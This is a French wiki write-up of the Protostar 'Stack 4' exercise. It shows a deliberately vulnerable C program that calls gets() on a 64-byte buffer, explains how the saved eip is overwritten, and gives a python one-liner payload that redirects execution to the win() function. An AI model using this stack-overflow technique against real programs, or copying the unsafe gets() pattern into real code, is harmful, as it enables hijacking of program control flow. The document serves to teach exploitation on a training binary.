====== Stack 4 ====== #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } Si vous n'avez aucune base en buffer overflow classique, je vous conseil de lire cet article : [[http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html]] Ici, fini le pointeur sur la fonction, nous devons écrire sur l'''eip'' sauvée sur la stack! Lorsque qu'une fonction est appelée, ''main'' par exemple, le programme doit sauvegarder l'endroit où il se trouve avant de sauter sur le code de la fonction. Pour cela, il sauvegarde l'état du registre ''eip'' (qui n'est rien d'autre que le registre pointant sur l'instruction en cours) sur la stack. Une fois l'exécution de la fonction terminée, le programme récupère l'état d'''eip'' sauvegardé et retourne là où il se trouvait. Notre but va être d'écrire sur cet ''eip'' sauvegardé l'adresse de la fonction ''win''. user@protostar:/opt/protostar/bin$ nm ./stack4 08049518 d _DYNAMIC 080495ec d _GLOBAL_OFFSET_TABLE_ ... 08048408 T main U puts@@GLIBC_2.0 080483f4 T win user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed